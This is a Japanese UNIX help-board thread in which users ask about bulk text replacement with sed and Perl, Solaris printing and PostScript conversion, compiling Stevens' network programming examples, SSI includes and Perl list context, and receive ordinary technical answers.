なんでも聞いてすいません。 Windows 2000 以降についてくる「メモ帳」の「名前をつけて保存」では、 ISO-2022-jp および Shift_JIS(正確には Windows 932 および Windows 1152)のことを 「ANSI」と呼び習わしていますが、これはどういう経緯でしょうか? ANSI といえばアメリカの工業規格で、ASCII や ISO-8859-1 を規定してるもんだと 思い込んで生きてきましたが、Delphi の入門本とか ML とかを見ても 「ANSI 文字列を Unicode に変換、、」とかいって、 Windows で使える Unicode 以外の文字、という意味で ANSI 文字列、 と書いてあるようなんですが、この言葉は正しい業界用語なんでしょうか? それとも Windows ローカル語? この言葉のスコープはどこまでなんでしょうか? 「メモ帳」といえば UTF-16LE-BOM のことを「Unicode」、 UTF-16BE-BOM のことを「Unicode Big Endian」、UTF-8 のことを「UTF-8」と言ってますが、 これなんかも業界用語なのか Windows 語なのか単なるメモ帳の開発者の気の迷いなのか わかりません。(あ、でも Word も共通なんだよな、、) 場違いでしたら情報のポインタや、討議するのにふさわしい掲示板等教えてください。 よろしくお願いいたします。 |
|
とても素人で、申し訳ないのですが、ご存知の方がいらしたら、教えて下さい。ハードは、IBM社のRS/6000を使用しています。kシェルを作成して下記の作業を行いたいと考えています。 複数のテ゛ィレクトリーに10〜30のファイルが存在しています。 各ファイル中に/usr/kokyakuと記述があれば、/usr/okyaku と変更したいと考えています。sedコマンドを利用すればそれぞれのファイルの中身を変更させることは可能であることは、分かったのですが、対象の ファイル数が多い為、該当のディレクトリーにcdし、 grep -l'/usr/kokyaku' * > filename などで、対象ファイル名を保存したファイルを作成し、そのファイルを自動的に読み込んでファイル名をいちいち指定せずにsedコマンドを実行でき ないものでしょうか?awkコマンドでファイル名が保存されているファイルを読み込み、sedコマンドの出力ファイルを$1の名前にするなどは可能なのでしょうか? ちなみに、イメーシ゛的には、カレントディレクトリーの下のファイル(*)の内容を自動的に置換してほしいのですが… sed 's/\/usr\/kokyaku/\/usr\/okyaku/g' * >*の出力 つたない説明で、申し訳ありませんが、お知恵を頂けたらありがたいです。 |
|
みーさん: Perl ですいません、一応テストもしました。 ミソは find コマンドの出力を ` ` で配列に入れて for で処理している、、(フツーやんねえかな、、) #! /usr/local/bin/perl -w # kokyakuokyaku $tmp = "TempFileDayooon"; # 中間ファイル。存在しないファイル名を選ぶこと for $file (`find . -print`) { chomp; if (-f $file) { open FILE, $file; open TMP, ">$tmp"; while (<FILE>) { s|/srv/kokyaku/|/srv/okyaku/|g; print TMP; } close TMP; close FILE; rename $tmp, $file; } } |
|
(一応)ふつー File::Find 使うよね。知ってるー (^^;;; |
|
ふくしさんどーもありがとうございました。大変申し訳ないのですが、findコマンドの使い方をよく理解していないので、どなたかお教え頂けないでしょうか?私の理解としては、ディレクトリー内の条件にあったファイルを探す時に使うコマンドだと思っていたので、例えば、頭に’m*’がつくファイルを探したりする時に使用するものだと思っていました。1つあるいは複数のファイルから、指定パターンに合致した行を探しその対象のファイル名を表示させる為には、grepしか使用出来ないと思っていたのですが、findコマンドで、ファイル(シェル)中に/usr/kokyakuと記述されているファイル名をfindコマンドで探す場合は、どのように記述すればよいのでしょうか? また、ふくしさんの記述して下さった各行の処理内容をもう少し詳細に教えて頂けないでしょうか?お手数をおかけいたしますが、よろしくお願いいたします。 |
|
>>2267 武田 一浩 $socket = IO::Socket::INET->new( PeerAddr => '192.168.0.255', PeerPort => 2425, Proto => 'udp', ) || die "$!"; とした方が、どこでエラーが出ているかを把握しやすいでしょう。 > とりあえず、Perlやスクリプトには異常がなさそうなので、 そうですね。perl か OS の問題ではないかと思います。 あと、ifconfig -a して、デバイスに fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 と、「BROADCAST」が付いていてブロードキャストに対応していることを 確認して下さい。もしかして ppp デバイスだったりすると付いてないかも。 >>2268 もみの木 > 現象として、すぐにExcelが表示されてしまいます。 要は、ASP は全く関係なくて <a href="HTTP://××/××/××/○○○.xls">hoge</a> というリンクをクリックしたときの挙動ですよね? Windows は よくわからないので、 http://www.parkcity.ne.jp/~chaichan/bin/qanda.cgi?modefg=9 で質問した方がよろしいと思います。 あとの話題は後ほど。 |
|
みーさん: なんかすいません。 たぶんぼくのやり方すごく非標準的なので、 もっとカッコいい方法はいくらでもあると思うんですが、、 find はファイル名の検索、 grep はファイルの中の文字列の検索、 で、合ってます。 ぼくのスクリプトでは各ファイルの中での文字列検索/置換を 自分で書いています。(while のあたり) #! /usr/local/bin/perl -w # kokyakuokyaku $tmp = "TempFileDayooon"; # 中間ファイル。存在しないファイル名を選ぶこと for $file (`find . -print`) { chomp $file; # すいません、ココ、間違ってました if (-f $file) { open FILE, $file; open TMP, ">$tmp"; while (<FILE>) { s|/srv/kokyaku/|/srv/okyaku/|g; print TMP; } close TMP; close FILE; rename $tmp, $file; } } `UNIXコマンド` …バッククォート(`)でUNIXのコマンドを囲むと、 出力結果をリストで返す for $変数 (リスト) { ...なんだかんだ... } …リストの要素を1個ずつ $変数 に入れながら、 「なんだかんだ」の部分を繰り返す。 上では find の結果を1行ずつ $file に入れて処理している。 それはカレント ディレクトリ以降のファイル/ディレクトリである。 % find . -print …カレント ディレクトリ以降のファイル/ディレクトリを一覧表示する。 chomp $file; …$file(find の結果の1行)の末尾から改行を取り除いて、 ファイル/ディレクトリ名として正しいものにしている -f 文字列 …「-f」はファイルテスト演算子のひとつ。 右に来る文字列がふつうのファイルだったら真を返す。 ここではディレクトリをはじいている。 open FILE, $file; …ファイル名 $file のファイルを入力で開いて、 ファイルハンドル FILE で入力アクセスできるようにする open TMP, ">$tmp"; …ファイル名 $tmp のファイルを出力で開いて、 ファイルハンドル TMP で出力アクセスできるようにする while (<FILE>) { ...なんだかんだ... } …ファイルハンドル FILE で読み込まれる ファイル $file(ここでは find の結果のうち、ファイルのみ)の 1行1行を、$_ という特殊な変数に入れながら 「なんだかんだ」の部分を繰り返す。 $file を読み終わったらループを脱出する s|/srv/kokyaku/|/srv/okyaku/|g; …デフォルトの作用対象である変数 $_ に対して、 「/srv/kokyaku/」を「/srv/okyaku/」に置換する。 s は substitute(置換)、g は global(全体的に)の略。 g を略すと1行に1回しか置換しない print TMP; …TMP ファイルハンドルに、デフォルトの作用対象 $_ を出力する ここで $_ は FILE の1行1行に 「/srv/kokyaku/」=>「/srv/okyaku/」の置換を施したものである close TMP; close FILE; …ファイルを「閉じる」。 (ファイルアクセスのために確保されていたメモリなどの資源を解放する) rename $tmp, $file; …置換する前のファイル名が $file、 置換したあとのファイル名が $tmp なので、 $tmp を $file に改名する。 これで置換したファイルで元ファイルは上書きされ、 中間ファイル TempFileDayooon は消えてなくなる こんな感じでしょうか。 |
|
>>2271 初心者みーです。 複数ファイルの中身を一括置換する、という目的に限れば、 http://x68000.startshop.co.jp/~68user/unix/pickup?perl の perl -pi.bak -e .. ところをどうぞ。 > findコマンドで、ファイル(シェル)中に/usr/kokyakuと > 記述されているファイル名をfindコマンドで探す場合は、 > どのように記述すればよいのでしょうか? いろいろありますが、以下のような感じです。 % find . -exec grep -l /usr/kokyaku {} \; … 機能は実現できるけど、遅い。 % grep -l * … ファイル数が多すぎるとダメ。ファイル数が数千程度ならこれでいいでしょう。 % find . -print | xargs grep -l … ファイル数が多くても OK。 % find . -print0 | xargs -0 grep -l … ファイル数が多くても OK。ファイル名に改行が含まれていても OK。 今回は grep -l でいいのではないでしょうか。 あと、 > sed 's/\/usr\/kokyaku/\/usr\/okyaku/g' * >*の出力 で実現できることはわかっているので、後はこれを複数のファイルに対して実 行すればよいのです。いろいろ方法はありますが、お勧めなのは「文字列をい じくってコマンドラインを作り、sh に喰わせる」方法です。 grep -l * で、 file1 file2 file3 という出力が得られるとします。次に grep -l * | sed "s|\(.*\)|sed 's./usr/kokyaku./usr/okyaku/.g' < \1 > out/\1 | " とすると、 sed 's./usr/kokyaku./usr/okyaku/.g' < ./file1 > out/./file1 sed 's./usr/kokyaku./usr/okyaku/.g' < ./file2 > out/./file2 sed 's./usr/kokyaku./usr/okyaku/.g' < ./file3 > out/./file3 という文字列が得られます。それをよく確認して、よさそうなら grep -l * | sed "s|\(.*\)|sed 's./usr/kokyaku./usr/okyaku/.g' < \1 > out/\1 | " | sh と末尾に | sh を付ければ、そのまま実行されます。 正しいコマンドラインができるまでは「| sh」を付けずに試行錯誤すれば よいので、いろいろなところで応用が効くと思います。 |
|
>>2270 ふくし > 場違いでしたら情報のポインタや、討議するのにふさわしい > 掲示板等教えてください。 場違いではないですが、わかりません。会社では Windows Me だし (笑) ふさわしいところは… fj.kanji くらいしか思い付かないなぁ…。 後は >>2269 kouji ですが、これはちょっと調べてから回答したいと思います。 |
|
ふくしさん、68userさんどうもいろいろありがとうございました。とっても勉強になりましたし、助かりました。perl -pi.bakの方法で、一括変換変換させる方法をバックアップファイルも一緒に作成できるので、実施したいと思います。簡単なテストをしたところ、大丈夫そうでしたので…。他の方法も、今後時間のある時に試してみたいと思います。迅速なご回答と親切な説明、本当にありがとうございました。 |
|
始めましてm(__)m UNIXを学校で使っています。 家では使えないんでしょうか? 家にパソコンはあるのですが…(-.-;) |
|
ぷたろさん、はじめまして。 ・家のパソコンに UNIX(FreeBSD とか Linux)を入れる。 いろんな本に、すでに入ってる OS(Windows ですか?)と切り替える方法が 書いてある<=管理が大変だけど ・家のパソコンをインターネットにつなぎ、 会社のパソコンに Telnet(Windows だと Teraterm が有名)で ログインする。リモートコントロールの感覚ですね。 グラフィックなソフトは使えないけど、、。 この場合は学校の管理者の人に聞いてみてください。 |
|
ふくしさん、ありがとですm(_ _)m 家のパソコンのOSはwindowsです。 外付けのハードを買って そこにLinuxを・・・。 ってな具合にはいかないですか? う〜ん、どうしよう(--;) |
|
>ぷたろさん いちから Linux を入れて自分で管理する気があるんだったら、可能ですよ。 いまの Windows の HDD に余裕があるんだったら、 同じ HDD にパーティションを切って入れてもいいし、 新しい HDD を買う予定があるんだったら、ぷたろさんがおっしゃるように 外付けのでも新しい内蔵のでも入れて、そこに入れてもいいし。 要するに、今使ってる Windows のマシンに新しく Linux を入れて、 Linux と Windows と切り替えて使うことは可能です。 体験するだけだったら、ここの会社 http://www.mlb.co.jp/ のが 面白そうです。Live Linux というのは Windows マシンに CD-ROM を 突っ込むと Linux 体験が出来るそうです。あと MLD5 というのは Windows のパーティションを壊さずに(フォーマットせずに)そのまま Linux を入れられ、Linux は Windows からハードウェアの設定を 読みこんで自動インストールしてくれるそうです。 ぼくはどっちも使ったことないし、設定は人に任せているのでくわしいことは わからないのですが、トライしてみたらどうでしょうか。 |
|
ふくしさん、親切にありがとうございますm(_ _)m 同じHDDにいれるんだったら HDDを分割するソフトがないと ダメですよね? HDDを新しく買って Linuxを一からやってみようかな。。。 Linuxを自分で管理って大変なんですか? 「いちから Linux を入れて自分で管理する気があるんだったら」 ってあるから大変そう・・・。 う〜ん。新しい事をするのは難しいです(-.-;) |
|
>ぷたろさん HDDにパーティションを切るソフトは、商用のLinuxにはたいてい ついてきます。少なくともMLD5にはついてきます。 あと、FIPSというフリーのパーティションソフトもあります。 新しいHDDを買ってきてもいいですが、 どのディスクからブートするかを指定する何らかの手段が必要です。 この掲示板だけではフォローしきれないと思うので(^^; 適当な入門用Linuxを買ってみるといろいろ書いてあると思います。 それから大変かどうかですが、それは人によります。 最近の入門用のディストリビューションは 最初からなんでも使えるようになっているようですが、 もしネットワークにつなぎっぱなしにする環境なら、 不要なサービスを殺さないと外からどんどん入ってこられます。 最低でも root(管理者用ユーザー)のパスワードは設定してください。 では、がんばってくださいー。 |
|
たびたび申し訳ありません。また、教えて下さい。perlのコマンドでカレンドディレクトリの中の複数ファイルを対象に、該当の文字(/usr/kokyaku)を特定の文字(usr/okyaku)に置換させようと考えています。下記のコマンドを実施したところ、特定文字を含まないファイルについても、バックアップファイル**.bakが作成されてしまいます。該当のファイルのみバックアップファイルを作成することは可能でしょうか? perl -pi.bak -e 's/\/usr\/kokyaku/\/usr\/okyaku/g' * カレントディレクトリーには、20ほどのファイル(ほとんどがシャル)が存在し、上記文字を含むファイルが6つほど存在するので、6つのみファイルの中身を置換し、バックアップファイルも6つのみ作成してほしいのですが、わがままなお願いでしょうか?お手数をおかけいたしますが、簡単な方法があれば教えて下さい。 |
|
>>2286 みー > バックアップファイル**.bakが作成されてしまいます。 おそらくそういう仕様です。 で、どうすればいいと思いますか? 不要なファイルができて困るのなら、不要なファイルを作らないように するか、不要なファイルを削除すればいいわけで。 まずは自分で考えてみて下さい。 |
|
今晩は、初めまして。 突然ですが質問して宜しいでしょうか。 ホスト名と、IPアドレスの頁を読ませていただいたのですが、まだ良く分かっていないので、この場をお借りして質問させていただきます。 IPアドレスが微妙に違って、でもホスト名が同一の場合、それは同一のパソコンからアクセスしていると解釈していいのでしょうか? すみません、物知らずで…教えてくださると嬉しいです。 |
|
68userさん、回答ありがとうございました。仕様でそうなっているのでは、仕方がないので諦めて、カレトディレクトリーに該当ファイル数が少ない場合はファイルを指定し、該当ファイル数が多い場合は、不要なファイルを後で、rmで削除することにします。 |
|
>みーさん えーシェルスクリプトも Perl もつかえる環境なのに手動でやるんですか、 それはもったいない、、失敗もしそうだし、、 >TAKEさん 相手がプロバイダーの場合など、同じホスト名でも ちがうパソコンのことがあるのでは、、。 |
|
回答が遅くなったので、もう見ておられないかもしれませんが… >>2269 kouji exec cgi、include file には引数を渡せない、という仕様の ように思えます。ソースを読んでみたのですが、いまいち わからなかったので自信はないのですが。 ただし、include virtual なら <!--#include virtual="./a.cgi?a=b&c=d" --> というふうに書けば引数を渡せます。 どうしても include file、exec cgi で、ということなら <!--#set var="QUERY_STRING" value="hoge=1" --> <!--#include file="./a.cgi" --> <!--#exec cgi="./a.cgi" --> などとやってみたのですが、QUERY_STRING の値は上書き されてしまうようなので、これはダメ。よって、 <!--#set var="MY_QUERY_STRING" value="hoge=1" --> <!--#include file="./a.cgi" --> <!--#exec cgi="./a.cgi" --> などとして、CGI 側では QUERY_STRING でなく MY_QUERY_STRING を 使う、という方法しかないように思えます。 まぁそんなことをするくらいなら、素直に include virtual を 使った方がよいでしょうけれども。 |
|
>>2236 Ka23 > UNIX プログラミング FAQのサイトが > http://www.adl.rd.nacsis.ac.jp/~moro/unix-programmer/faq-j_toc.html > に移転しているようです。 遅くなりましたが修正いたしました。 # http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/link-book.html が、今 www.adl.rd.nacsis.ac.jp には unreachable なので、 そのページはまだ見ていません。 |
|
>>2159 Nira > そういえば、httpsの取得に良いサイトを発見しました。 > https://www2.ggn.net/cgi-bin/ssl です。 http://x68000.startshop.co.jp/~68user/net/ssl.html に反映しました。 # http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/ssl.html 他にも「前に情報提供したのにまだ反映されていない」という部分が ありましたら、ご指摘いただけると幸いです。 |
|
>68userさん ありがとうございました。 include virtualを使います。 |
|
ふくしさん、ご回答有難うございました。 参考になりました。 |
|
Perl の質問ですが、(101) とか ($x) とかいう式は、 ・スカラーをカッコに入れたもの と思われるのでしょうか、 ・要素数が1個のリスト と思われるのでしょうか。 ($x) = (6,7,8); と書くと、$x には 6 が入るので、($x) はリストのようです。 でも、そのあと、 $n = ($x); と書くと、$n には ($x) の要素数 1 ではなく、$x の値 6 が入ります。 $n = (); と書くと、$n にはゼロは入らないで undef が入るようです。 ということは、() は空リストではなく、 「無」をカッコで囲んだ式が入ってるということでしょうか。 というのは、空リストだとすると、 $n には空リストの要素数 0 が入るように思うからです。 |
|
みなさん、はじめまして。 ちょっと、C言語の質問をさせてもらっていいっですか? 自分は、redhadのLinux2.1を使っているのですが、 タイム関数の #include<time.h> が、使うことが出来ませんが、Linuxにおいては タイム関数は対応していないのでしょうか? ある、実験において実験結果をグラフにしようとしている のですが、タイム関数が使えないために、横軸がLOOP回数での 表示しか出来ずにグラフが成立しなくて困っています。 どうか、良きアドバイスをいただけないでしょうか? お願い致します。 |
|
>>2296 ふくし @a をスカラーコンテキストで評価すると、@a の要素数が得られますが、 (6,7,8) をスカラーコンテキストで評価すると最後の要素の 8 が 得られます、ってことで回答になってますでしょうか。 >>2297 ひろ POSIX にもある関数ですので使えるはずです。どうやったらどういう エラーが出たのかを詳しく書きましょう。 |
|
68 ユーザーさん> なるほど〜そのとおりのようですね。どうもありがとうございました。 |
|
はじめまして。UNIX初心者で申し訳ない質問なんですが、、 今自分が使っているOSのバージョンを知るコマンドってあるのでしょうか? DOSで言う「ver」にあたるものです。 手持ちの本に載ってなかったので、くだらない質問で申し訳ないんですが、 お願いします。 |
|
maru さん、はじめまして。 uname -v ですな。(DOS の方を知らんかった、、;;;) |
|
ふくしさん、さっそくありがとうございます。 DOSでのコマンド、お役にたててなによりです。(笑) |
|
はじめまして、けんといいます。すごく初心者なのですが、質問 させてください。 ネットワークプログラムをやろうと思い、 UNIXネットワークプログラミング(リチャードスティーブンス) の本を買ってきたのはいいですが、プログラムの実行の仕方が わかりません。学校のソラリスにTELNETでつないで、最初の例題 timetcpcli.cという、時間を返してくれるプログラムを 書いて、gccで実行したのですが、例題に特殊な"unp.h"という ヘッダーがあり、それを作者のHPからダウンロードしてきて、 timetcpcli.cと同じディレクトリーにコピーしました。 そしていざ、gccをやってみても、そのようなファイルもディレクトリ も存在しませんと返ってきました。ファイルとヘッダーを同じ ディレクトリーに置いといて実行できるのでしょうか? 大変初心者ですいません。自分がこのようなプログラムをやる 域に達していないのですが、どなたかご教授ください。 |
|
>>2303 ken > ファイルとヘッダーを同じディレクトリーに置いといて > 実行できるのでしょうか? #include "unp.h" と書いてあるならいけるはずです。 もしかして #include <unp.h> と書いてませんか? |
|
68userさん>失礼しました。今後、気をつけます。 さて、プログラムの方なのですが、参考図書とにらめっこして いたところ、恥ずかしい事にタイム関数の使い方を間違ってい ました。今後、こんなことのないように気をつけます。 有難うございました。 |
|
こんにちは、 Solaris2.6を使用しておりますが、 印刷のコマンドの「lp」と「lpr」の違いはなんでしょうか。 いろいろ調べたんですが、なかなか意味が理解できなくて。。 「lpr」の方はSunOS/BSD互換パッケージコマンドとありますが、それだけ の違いでしょうか。 よろしくお願いします。 |
|
こんにちは。質問したいことがあります。 UNIX上で、あるアプリケーションの画面(検索結果を表示しているような一般的 な画面)をそのままハードコピー感覚で印刷したいのですが、 これにはどういった処理・手順が必要なのでしょうか。 単純にlpコマンドではうまく印刷できないですよね? PostScriptに変換しないとやはりダメでしょうか。 ちなみにOSはSolaris2.6で出力プリンタはEPSON LP9200SXです。 (プリンタはLAN上にいます) プリンタの方でも何か設定が必要でしたら教えてください。 よろしくお願いします。 |
|
>>2306 pon > 「lpr」の方はSunOS/BSD互換パッケージコマンドとありますが、 > それだけの違いでしょうか。 それだけです。 BSD 系 UNIXには lpr の方しかなくて、SystemV 系は lp です。 Solaris の /usr/usb/ の下にあるのは全て BSD 互換コマンドです。 # ucb=University of California, Berkeley |
|
>>2307 まさお > プリンタはEPSON LP9200SXです。 これ、PostScript プリンタですよね。 http://www.i-love-epson.co.jp/products/printer/laser/lp9200ps3/9200ps32.htm ImageMagick 付属の convert で PostScript に変換して、 lp に流すのはどうでしょうか。 % xwd > image.wd % convert image.wd image.ps % lp -d printername image.ps あるいは、とにかくブラウザが見える画像形式に変換して、 ブラウザから印刷する、とか。 |
|
68user様、ありがとうございました。 やはりPostScript への変換が必要なのですね。 ところでこのPostScript変換ツールというのは、テキスト用、画像用とかいろいろとあるようですが、これらはみな1ツールとしてOSにインストールする必要があるということですよね。 以上ありがとうございました |
|
68userさん、さっそくのお返事ありがとうございます。 <unp.h>ではなく、"unp.h"としてもこのような、ファイル、 ディレクトリはありませんと返ってきます。 僕はウィンドウズユーザーなので、UNIXをやるときは学校と つなげるしかありません。僕の環境はOSはWin2000,next ftp とtera term proで学校のSun OS5.8につないでいます。 作者(リチャードスティーブン)のHPからunp.hと例題が 詰まったフォルダーをダウンロードしてきて、WIN上で解凍。 それをFTPで自分の学校のアカウントにおくりました。 自分のアカウントではcというディレクトリを作り、その中に、 例題のdaytimetcpcli.cというファイルと,"unp.h"という ファイルをおいて、gcc daytimetcpcli.cとうつと、このファイル、 ディレクトリはありませんとでてきます。例題も、unp.hも コピー&ペーストでありつけたので、打ち間違えはないのですが、 どこに問題があるのでしょうか?たいへんすいません、よろしく お願いします。 ちなみにunp.hというファイルは下記のURLにいって、それをコピー してきました。 http://www.sfc.wide.ad.jp/~nob/webdoc/unpv12e/lib/unp.h |
|
>>2310 まさお > テキスト用、画像用とかいろいろとあるようですが、これらはみな1ツールとして > OSにインストールする必要があるということですよね。 「1ツール」の意味がよくわかりませんが、 - テキスト用としては a2ps - dvi なら dvi2ps - 画像用としては convert で PostScript に変換 などと、別々のアプリケーションで配布されています。 ファイル形式ごとに、いちいちどの変換フィルタかますかを考えるのが面倒、 ということなら、file コマンドなどでファイル形式を判断し、適切なフィルタを 経由して lp にデータを渡すシェルスクリプトを書く、という手もあります。 >>2311 ken > このような、ファイル、ディレクトリはありません 意訳せず、正確なエラーメッセージを書いて下さい。 例えば unp.h を置いて、以下の内容のような foo.c というファイル #include "unp.h" main(){ } を置き、コンパイルすると % gcc foo.c In file included from foo.c:1: unp.h:7: ../config.h: No such file or directory In file included from foo.c:1: unp.h:200: ../lib/addrinfo.h: No such file or directory となります。config.h や addrinfo.h を用意していないということはありませんか? でなくて、 foo.c:1: unp.h: No such file or directory と出るなら本当に unp.h がないのでしょう。unp.h が置いてあるディレクトリに行って、 % cat unp.h とするとちゃんと表示されますか? |
|
>68userさん いろいろとありがとうございました。よくわかってきました。 ところで、もっと漠然とした質問で申し訳ないんですけど、UNIX上で画像などを印刷する場合は、ファイルをPostScript形式に変換しなければどんなことしても絶対印刷は無理!ということなのでしょうか。 (要はImageMagickやxvのインストールは必須ということでしょうか。) Postscriptがなかった時代は印刷できなかったんですかね。 では失礼します。 |
|
>>2313 まさお 要は、プリンタが解釈できる言語を流してやる必要があります。 PostScript プリンタは PostScript を解釈できます。LIPS な プリンタには LIPS で、ESC/Page なプリンタには ESC/Page な データを流してやらないといけません。 そのための変換ツールが、lipsf だとか、gs (GhostScript) だとか、a2ps とか dvi2ps とかなわけです。 どうでもいいですが、PostScript プリンタってのは価格が高いので、 普通の企業では LIPS とか ESC/Page なプリンタを買うことが多いです。 Canon やら Epson がドライバを出しているので Windows からの利用は OK なんですが、UNIX から非 PostScript プリンタを使うのは何かと 面倒だったりします。 |
|
>68userさん ありがとうございました。 いろいろ複雑ですね。ますます考えることが多くなってきました。 要はUNIXからアプリケーションの画面(スナップショット)を印刷する処理を 考えているところなのです。 プリンタがEPSON LP8200LP2 でOSがSolaris2.6です。 画像なので、以前教えていただいたようにImage Magickなどの変換ツールを あとからインストールしないとダメなようすね。 OSの方にあらかじめ組み込まれているコマンドとかがないのか探しているんですけど、 みつかりません。「jtops」というコマンドがOSにあるのですが、これはテキスト専用 でしょうか。 あと、教えていただいたLIPSやESC/PAGEというメーカーの制御コードもテキスト 専用なんですよね? 画像の印刷はやはりPostscript変換ということですよね。 たびたび失礼しました。 |
|
>>2315 まさお > 「jtops」というコマンドがOSにあるのですが、これはテキスト専用 > でしょうか。 のようですね。 > あと、教えていただいたLIPSやESC/PAGEというメーカーの制御コードも > テキスト専用なんですよね? いいえ、イメージもいけます。 てゆーか、そんなに難しく考える必要はなくて、PostScript プリンタ なんだから PostScript で送ってやればいいんですよ。 例えば ftp://gatekeeper.dec.com/contrib/share/lib/ghostscript/examples/tiger.ps を落として % lp -d printername < foo.ps で印刷できるはず。 あとは任意の画像を PostScript に変換するツールをインストールすれば おしまいです。convert でも xv でも gimp でもできます。 |
|
>68user さん ありがとうございました。 勉強になりました。 |
|
ネットワークプログラムなのですが、エラーメッセージとしては、 68userさんがおっしゃったように、 In file included from daytimetcpcli.c:1: unp.h:7: ../config.h: No such file or directory In file included from daytimetcpcli.c:1: unp.h:200: ../lib/addrinfo.h: No such file or directory というメッセージが返ってきます。しかし、unp.hも、addrinfo.h, config.hも同じディレクトリーにいれてgcc daytimetcpcli.cと うっても、上記のようなエラーが返ってきます。ヘッダーファイル が同じディレクトリーにあるのにこのようなメッセージが返ってくる ということは、やはりどこかに、なんらかの間違いがあるということ でしょうか?よろしくお願いいたします。 |
|
>>2318 ken /home/user/c/daytimetcpcli.c /home/user/c/unp.h というファイル配置で、カレントディレクトリが /home/user/c/ のとき ../config.h は /home/user/unp.h を表します (.. は親ディレクトリを表すから)。同様に ../lib/addrinfo.h は /home/user/lib/addrinfo.h を表します。 そこにヘッダファイルがないので No such file or directory になって いるわけです。本に、ヘッダファイルやソースファイルをどういう ディレクトリ構成で置きなさい、という記述はありませんか? |
|
>>2318 ken unpv12e.tar.gz を持ってきて試してみたところ…README にやり方が ちゃんと書いてありますがな。ドキュメントはちゃんと読みましょう。 % ./configure % cd lib % make % cd ../intro % make daytimetcpcli でうまくいきました。 Solaris8 (SunOS5.8) ではどうかはわかりませんが、FreeBSD では lib の make 時に IPV6_DROP_MEMBERSHIP というマクロが未定義だ というエラーが出ました。これは古いマクロで、今は IPV6_JOIN_GROUP に 変わっています。 んで、ここを書き換えるとコンパイルが通りました。 |
|
.tgzとして拡張子があるファイル、どう展開しますか? |
|
ひとつ教えてください。 Windowのダンプのコマンドの一般的な使い方は、 xwd -out display.xwd と入力し、そのあとにダンプしたいWindowをマウスで選択しますが、 このとき、ダンプをとりたいWindowをマウスで指定するのではなく、 プログラム上で指定したいのです。(たとえば、Window上に「印刷」ボタンを設け、それが押されたら今アクティヴなWindowを印刷する、とか。) そういった処理を行うこと可能なのでしょうか? |
|
はじめまして、 ネットワークプログラミング駆け出し者です。 このような、すばらしいHPを開かれている皆様に感謝致します。 とても、参考になります。 これからも、宜しくお願いします。 |
|
かなり勉強になりました。 telnetのところでGET index.html HTTP/1.0をやっても403エラーと 出てしまいます。どうしたら、うまくいくか教えてください。 お願いします。 |
|
cookの作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか?の作成はどの様にすればいいですか? |
|
はじめまして。 最近unixを触りだしたひよっこです。 大変素晴らしいHPでとても助かります。 実は、unixのシステム管理業務の一環として時間別/日別のcpuの使用率及びメモリ使用率を調べるコマンドを探しています。 cpu使用率はsar -Aでデータを取る事が出来たのですが、メモリ使用率 が分かりません。 どうしてよいのか途方に暮れています。良きアドバイスを頂けないでしょうか? |
|
いつもお世話になっております。Perl で助けてください。 0x00 から 0xff までループ、というつもりで、 for ("\x00".."\xff") { ... } とやってますが、\x00 のとき1回だけやって終わるみたいです。 なじぇ?(?.?) どなたかお願いします。 |
|
>>2321 lee > .tgzとして拡張子があるファイル、どう展開しますか? 「tgz 展開」で検索しましょう。 >>2322 pon > たとえば、Window上に「印刷」ボタンを設け、それが押されたら今アクティヴな > Windowを印刷する、とか。 というのができるのかどうかはわかりませんが、xwd の -id や -name オプションでウィンドウは指定できるでしょう。指定する 値は % xwininfo -root -all で表示されるものです。 >>2324 なっち > telnetのところでGET index.html HTTP/1.0をやっても403エラーと > 出てしまいます。 ブラウザでアクセスしても 403 となるなら、telnet でやっても 当然 403 です。もしブラウザでうまくいくのなら、Host ヘッダを 付けてやってみて下さい。 >>2326 ひよっこ OS は何ですか? 僕なら top を使いますが、sar -k とかでも できませんか? (試したことはありませんが) >>2327 ふくし > \x00 のとき1回だけやって終わるみたいです。 終わってしまいますね。よくわかりませんが、 for ("\\1" .. "\\9") { for ("!1" .. "!9") { などでも同様なので、\ という *文字* はマジックインクリメントの 対象外なんじゃないでしょうか。 で、実は本当にやりたいのは for (0x00 .. 0xff) { じゃあないですか? じゃなくて、もし \xXX という文字列が 欲しいのならば for (0x00 .. 0xff) { $hex = sprintf("%02x", $_); } あたりで。 |
|
いつもお世話になっております。 >実は本当にやりたいのは ばっちりです、、;;; |
|
はじめまして。 ここのプログラムは凄く参考になり助かっています。 サンプルプログラムの間違いなんですが、 http://jfx.startshop.co.jp/~68user/net/module-2.html にある、モジュールを使ったマルチスレッド版echoプログラムの 31行目「if ( fork() ){」は、 正しくは「if ( $pid = fork() ){」ですよね? |
|
お答えありがとうございました。 かなり役に立ってます。すごいです。 また、質問何ですが、UNIXで壁紙を自分のもっている画像にしたいので すが、xvコマンド以外で何か良い方法ありませんか? |
|
はじめまして。 このページではいつも色々と勉強させて貰っています。 さて、質問なのですが、今現在CVSにてあるプロジェクトを管理しており、 そのリポジトリをcvswebにて閲覧出来るようにしようとしているのですが、 ある特定のファイル達の中身を表示しようとしたときに、 cvs checkout: cannot exec co: No such file or directory cvs checkout: could not check out xxx/yyy/Zzz.java という様なメッセージが出てしまいます。 CVSも使い始めたばかりのため、何が原因なのかが分かりません。 もし良かったら何かヒントや、cvswebに関しての解説があるような ページがありましたら教えていただけると嬉しいです。 よろしくお願いします。 |
|
